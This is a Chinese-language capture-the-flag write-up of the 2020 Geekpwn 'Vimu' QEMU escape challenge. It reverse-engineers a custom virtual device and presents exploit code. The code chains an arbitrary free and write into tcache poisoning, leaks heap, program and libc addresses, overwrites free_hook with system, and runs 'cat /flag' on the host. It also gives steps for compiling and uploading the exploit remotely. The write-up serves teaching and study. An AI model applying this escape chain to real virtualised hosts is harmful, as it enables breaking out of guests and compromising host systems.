2020Geekpwn-Qemu逃逸-Vimu解题过程分析
字数 1581 2025-08-24 10:10:13
QEMU逃逸漏洞分析:Vimu解题过程详解
1. 题目背景
2020年Geekpwn比赛中的Vimu题目是一道QEMU逃逸题目,属于G-escape类别。题目要求参赛者通过分析QEMU模拟器中的自定义设备漏洞,实现从虚拟机内部逃逸到宿主机。
2. 环境配置
题目提供了Dockerfile,基于Ubuntu 18.04标准版本。运行环境需要补充多个库文件(约7-8个)才能成功启动。
3. 设备逆向分析
3.1 设备识别
启动脚本中启动了一个自定义设备vin,这是漏洞所在设备。使用IDA分析被strip过的qemu-system-x86_64二进制文件,通过搜索特征字符串定位相关函数。
3.2 设备结构体
自定义设备结构体关键字段:
0x1AB0: 初始值为0xFFFFFFF0x1AB8: 存储mmap64分配的0x10000字节内存块地址(RW权限)0x1AC0: 初始值为10x1AC8: 初始为NULL
3.3 关键函数分析
vin_instance_init函数
__int64 vin_instance_init(__int64 a1) {
__int64 v1 = object_dynamic_cast_assert(a1, &off_9FBFE6, ".../vin.c", 307LL, "vin_instance_init");
*(QWORD *)(v1 + 0x1AB0) = 0xFFFFFFFLL;
*(DWORD *)(v1 + 0x1AC0) = 1;
*(QWORD *)(v1 + 0x1AC8) = 0LL;
*(QWORD *)(v1 + 0x1AB8) = mmap64(0LL, 0x10000, 3, 34, -1, 0LL);
return object_property_add(a1, "dma_mask");
}
vin_mmio_read函数
__int64 vin_mmio_read(__int64 a1, int addr, unsigned int size) {
if (BYTE2(addr) == 6 && (unsigned __int16)addr < 0x10000 - size)
memcpy(&dest, (const void *)((unsigned __int16)addr + *(QWORD *)(opaque + 0x1AB8)), size);
return dest;
}
addr参数分解:- 最后两个字节:offset
- 倒数第三个字节:choice(必须为6)
- 功能:从mmap64内存块中任意地址读取任意字节
vin_mmio_write函数
void vin_mmio_write(__int64 a1, __int64 a2, __int64 val, unsigned int size) {
switch(BYTE2(a2)) {
case 1: // 任意free(mmap64_start+offset)
free(*(QWORD *)(opaque + 0x1AB8) + (unsigned __int16)addr);
break;
case 3: // 对mmap64_start+offset任意写
memcpy((void *)((unsigned __int16)addr + *(QWORD *)(opaque + 0x1AB8)), &val, size);
break;
case 4: // 一次性的malloc(8*size)并保存在0x1AC8
if (*(DWORD *)(opaque + 0x1AC0) == 1) {
*(QWORD *)(opaque + 0x1AC8) = malloc(8LL * (unsigned __int16)addr);
--*(DWORD *)(opaque + 0x1AC0);
}
break;
case 7: // 对0x1AC8处指针指向的地址任意写(不限次数)
if ((unsigned __int16)addr <= 0x2F)
memcpy((void *)((unsigned __int16)addr + *(QWORD *)(opaque + 0x1AC8)), &val, size);
break;
case 8: // 不限次数的malloc(8*size)
malloc(8LL * (unsigned __int16)addr);
break;
}
}
4. 漏洞分析
主要漏洞点:
- 任意地址free:通过case 1可以free mmap64内存块中的任意地址
- 内存管理限制绕过:case 4只有一次使用机会,但可以结合其他case实现更复杂的利用
5. 利用思路
5.1 挑战与限制
- 保护全开(ASLR, NX等)
- QEMU多线程环境(4个线程)
- 内存分配限制(只有一次case 4的使用机会)
5.2 泄露信息
泄露thread_heap基址
- 通过任意free将fake chunk放入tcache
- 修改fake chunk的fd指针指向thread_heap特定位置
- 通过malloc获取包含elfbase地址的内存
泄露libc基址
- 通过elfbase计算GOT表地址
- 同样方法读取GOT表中的函数地址
- 计算libc基址
5.3 关键发现
在thread_heap的固定偏移处(如0xBA0)存在稳定的elfbase地址,这成为泄露的关键点。
5.4 完整利用步骤
- 准备tcache:选择0x400大小的tcache链,调整count为2
- 泄露thread_heap:
- free fake chunk到tcache
- 修改fd指向thread_heap+0xBA0
- malloc获取包含elfbase的地址
- 泄露elfbase:
- 计算程序基址
- 泄露libc:
- 通过GOT表获取libc函数地址
- 计算libc基址
- 劫持控制流:
- 使用case 4分配free_hook地址
- 写入system地址
- 准备"cat /flag"字符串
- 触发free("cat /flag")执行system
6. EXP代码关键部分
// 泄露thread_heap
mmio_write(0x030008, 0x400); // malloc 0x400
mmio_write(0x010010, 0); // free
thread_heap = mmio_read(0x060410) & 0xffffff000000;
// 泄露elfbase
mmio_write(0x030010, thread_heap + 0xba0); // 修改fd
codebase = mmio_read(0x060010) - (0x5555567ae468 - 0x555555554000);
// 泄露libc
free_got = 0x1092330 + codebase;
mmio_write(0x030010, free_got);
libcbase = mmio_read(0x060010) - 0x97950;
// 劫持free_hook
free_hook = libcbase + (0x7ffff41528e8 - 0x00007ffff3d65000);
system_addr = libcbase + (0x7ffff3db4440 - 0x00007ffff3d65000);
mmio_write(0x030010, free_hook);
*(uint64_t *)(mmio_mem + 0x070000) = system_addr;
// 触发
mmio_write(0x030010, 0x20746163); // "cat /flag"
mmio_write(0x030014, 0x616c662f);
mmio_write(0x010010, 0); // 触发free
7. 远程利用
远程利用需要:
- 使用musl-gcc编译exp:
musl-gcc myexp.c -Os -o myexp - 去除符号表:
strip myexp - 通过base64编码上传
8. 总结与经验
-
QEMU逃逸题目通常分为两类:
- 自定义设备存在漏洞
- 修改原有设备引入漏洞(通常更难)
-
关键技巧:
- 理解QEMU内存管理机制
- 分析多线程环境下的内存分配行为
- 利用tcache等堆管理机制的特性
- 寻找内存中的稳定地址信息
-
调试技巧:
- 使用getchar()或sleep(0.1)防止信号错位
- 关注线程arena与main arena的区别
这道题目展示了如何通过分析QEMU设备漏洞,结合堆管理和内存泄露技术,最终实现从虚拟机到宿主机的逃逸。